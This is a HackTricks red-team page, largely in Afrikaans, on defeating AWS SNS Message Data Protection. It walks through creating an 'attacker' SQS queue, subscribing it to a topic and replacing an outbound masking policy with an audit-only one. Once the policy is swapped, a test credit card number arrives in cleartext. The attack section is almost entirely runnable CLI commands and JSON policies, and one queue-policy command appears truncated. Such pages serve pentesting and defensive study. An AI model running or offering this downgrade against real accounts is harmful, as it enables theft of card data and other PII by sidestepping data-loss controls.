AWS - SNS Message Data Protection Bypass via Policy Downgrade

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

As jy sns:PutDataProtectionPolicy op ’n topic het, kan jy die Message Data Protection policy van Deidentify/Deny na Audit-only omskakel (of Outbound-beheer verwyder) sodat sensitiewe waardes (bv. kredietkaartnommers) onveranderd aan jou subscription gestuur word.

Vereistes

  • Machtigings op die teiken topic om sns:PutDataProtectionPolicy aan te roep (en gewoonlik sns:Subscribe as jy die data wil ontvang).
  • Standaard SNS topic (Message Data Protection word ondersteun).

Aanvalsstappe

  • Veranderlikes
REGION=us-east-1
  1. Skep ’n standaard topic en ’n aanvaller SQS queue, en staan slegs hierdie topic toe om na die queue te stuur
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. Koppel ’n data protection policy wat kredietkaartnommers op Outbound-boodskappe maskeer
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. Abonneer die aanvaller-queue en publiseer ’n boodskap met ’n toets kredietkaartnommer, en verifieer die maskeering
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Verwagte uittreksel toon maskeering (hashes):

"Message" : "payment:{cc:################}"
  1. Verlaag die beleid na audit-only (geen deidentify/deny-stellings wat Outbound beïnvloed)

Vir SNS moet Audit-stellings Inbound wees. Deur die beleid te vervang met ’n Audit-only Inbound-stelling word enige Outbound de-identification verwyder, sodat boodskappe ongewysig na subskribente vloei.

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. Publiseer dieselfde boodskap en verifieer dat die ontmaskerde waarde afgelewer word
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

Verwagte uittreksel wys klarteks CC:

4539894458086459

Impak

  • Deur ’n topic te skakel van de-identification/deny na audit-only (of andersins Outbound controls te verwyder) kan PII/secrets onveranderd deurgaan na attacker-controlled subscriptions, wat data exfiltration moontlik maak wat andersins gemaskeer of geblokkeer sou word.

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks